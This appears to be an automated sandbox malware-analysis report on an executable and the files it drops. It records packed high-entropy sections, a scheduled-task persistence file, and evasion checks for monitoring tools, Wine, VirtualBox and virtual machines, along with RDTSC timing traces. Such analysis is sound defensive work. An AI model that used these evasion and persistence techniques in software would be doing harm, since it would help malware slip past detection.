Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.0.dr	Static PE information: real checksum: 0x50b374 should be: 0x509bc7
Source: KXEO11ILDTYX6ZOG0B.exe.0.dr	Static PE information: real checksum: 0x3237ff should be: 0x31ce49
Source: 14dd9bf3c4.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x88ff0
Source: skotes.exe.5.dr	Static PE information: real checksum: 0x3237ff should be: 0x31ce49
Source: vVJvxAfBDM.exe	Static PE information: real checksum: 0x1cc07a should be: 0x1d83fc

Source: vVJvxAfBDM.exe	Static PE information: section name:
Source: vVJvxAfBDM.exe	Static PE information: section name: .idata
Source: vVJvxAfBDM.exe	Static PE information: section name:
Source: vVJvxAfBDM.exe	Static PE information: section name: lgwdmqcm
Source: vVJvxAfBDM.exe	Static PE information: section name: pdakjiel
Source: vVJvxAfBDM.exe	Static PE information: section name: .taggant
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.0.dr	Static PE information: section name:
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.0.dr	Static PE information: section name: .idata
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.0.dr	Static PE information: section name: frhnetpr
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.0.dr	Static PE information: section name: tbiteucn
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.0.dr	Static PE information: section name: .taggant
Source: KXEO11ILDTYX6ZOG0B.exe.0.dr	Static PE information: section name:
Source: KXEO11ILDTYX6ZOG0B.exe.0.dr	Static PE information: section name: .idata
Source: KXEO11ILDTYX6ZOG0B.exe.0.dr	Static PE information: section name: guulvnfq
Source: KXEO11ILDTYX6ZOG0B.exe.0.dr	Static PE information: section name: wreswaoh
Source: KXEO11ILDTYX6ZOG0B.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name: guulvnfq
Source: skotes.exe.5.dr	Static PE information: section name: wreswaoh
Source: skotes.exe.5.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_014EE37E push ebp; retf	0_3_014EE410
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_014EE3DA push ebp; retf	0_3_014EE410
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_014EF3FC push esi; retf	0_3_014EF45C
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_014EBA50 push esi; retf	0_3_014EBA68
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_014EF478 push esi; retf	0_3_014EF45C
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_014EEE0E push esi; retf	0_3_014EEE14
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_014EF428 push esi; retf	0_3_014EF45C
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_0149092C pushad ; retf	0_3_01490A39
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_0149092C pushad ; retf	0_3_01490A39
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_014909C0 pushad ; retf	0_3_014909C1
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_014909C0 pushad ; retf	0_3_014909C1
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_0149099C pushad ; retf	0_3_0149099D
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_0149099C pushad ; retf	0_3_0149099D
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_01490990 pushad ; retf	0_3_01490991
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_01490990 pushad ; retf	0_3_01490991
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_01490A04 pushad ; retf	0_3_01490A15
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_01490A04 pushad ; retf	0_3_01490A15
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_01490A16 pushad ; retf	0_3_01490A39
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_01490A16 pushad ; retf	0_3_01490A39
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_01490AE8 pushad ; retf	0_3_01490AE9
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_01490AD8 pushad ; retf	0_3_01490AE9
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_01490AF4 pushad ; retf	0_3_01490AF5
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_01490AF4 pushad ; retf	0_3_01490AF5
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_0149092C pushad ; retf	0_3_01490A39
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_0149092C pushad ; retf	0_3_01490A39
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_014909C0 pushad ; retf	0_3_014909C1
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_014909C0 pushad ; retf	0_3_014909C1
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_0149099C pushad ; retf	0_3_0149099D
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_0149099C pushad ; retf	0_3_0149099D
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_01490990 pushad ; retf	0_3_01490991
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Code function: 0_3_01490990 pushad ; retf	0_3_01490991

Source: vVJvxAfBDM.exe	Static PE information: section name: entropy: 7.979904826318583
Source: vVJvxAfBDM.exe	Static PE information: section name: lgwdmqcm entropy: 7.953633090086165
Source: KXEO11ILDTYX6ZOG0B.exe.0.dr	Static PE information: section name: entropy: 7.051345651311044
Source: skotes.exe.5.dr	Static PE information: section name: entropy: 7.051345651311044

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File created: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Jump to dropped file
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File created: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_6-9720
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_5-12713
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep	graph_7-37615

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 1691DF second address: 1691E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2D86DF second address: 2D86E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2D86E3 second address: 2D86EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EAF00 second address: 2EAF04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EAF04 second address: 2EAF0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EAF0A second address: 2EAF3A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA938DCFC3Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007FA938DCFC49h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EAF3A second address: 2EAF3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EB32F second address: 2EB33A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EB33A second address: 2EB34F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EB34F second address: 2EB35A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jg 00007FA938DCFC36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EDCEF second address: 2EDD64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 xor dword ptr [esp], 0E7B7D36h 0x0000000e je 00007FA9388D7B85h 0x00000014 call 00007FA9388D7B7Dh 0x00000019 clc 0x0000001a pop edi 0x0000001b push 00000003h 0x0000001d xor edi, dword ptr [ebp+122D3975h] 0x00000023 push 00000000h 0x00000025 mov dword ptr [ebp+122D1B60h], eax 0x0000002b mov ecx, edi 0x0000002d push 00000003h 0x0000002f sub dword ptr [ebp+122D29A0h], esi 0x00000035 push A42414CEh 0x0000003a push edx 0x0000003b jmp 00007FA9388D7B7Bh 0x00000040 pop edx 0x00000041 add dword ptr [esp], 1BDBEB32h 0x00000048 mov ecx, dword ptr [ebp+122D3651h] 0x0000004e lea ebx, dword ptr [ebp+12458B9Dh] 0x00000054 push esi 0x00000055 mov dword ptr [ebp+122D1FEFh], eax 0x0000005b pop esi 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 js 00007FA9388D7B76h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EDD64 second address: 2EDD68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EDD68 second address: 2EDD6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EDE7D second address: 2EDE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EDE88 second address: 2EDEAB instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA9388D7B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d jno 00007FA9388D7B7Ch 0x00000013 pop edi 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EDEAB second address: 2EDEC5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA938DCFC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA938DCFC3Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EDEC5 second address: 2EDECB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2EE075 second address: 2EE0AB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 2661FC31h 0x0000000f stc 0x00000010 lea ebx, dword ptr [ebp+12458BB1h] 0x00000016 mov dword ptr [ebp+122D2355h], ecx 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA938DCFC47h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2CE4A0 second address: 2CE4A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2CE4A4 second address: 2CE4AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2CE4AE second address: 2CE4B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2CE4B2 second address: 2CE4C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30B466 second address: 30B46C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30B46C second address: 30B48E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA938DCFC40h 0x0000000d jg 00007FA938DCFC3Eh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30B48E second address: 30B492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30B72D second address: 30B731 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30B731 second address: 30B754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA9388D7B85h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007FA9388D7B78h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30B754 second address: 30B75C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30B75C second address: 30B760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30B760 second address: 30B76A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA938DCFC36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30B76A second address: 30B773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30BA20 second address: 30BA24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30BA24 second address: 30BA28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30BA28 second address: 30BA4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA938DCFC3Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FA938DCFC3Ah 0x00000010 popad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30BB6A second address: 30BB81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B83h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30BFCF second address: 30BFDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jl 00007FA938DCFC36h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30BFDD second address: 30BFF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FA9388D7B76h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007FA9388D7B76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30C141 second address: 30C14B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30C14B second address: 30C14F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30C14F second address: 30C159 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA938DCFC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30C159 second address: 30C163 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA9388D7B7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 30C2BD second address: 30C2C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
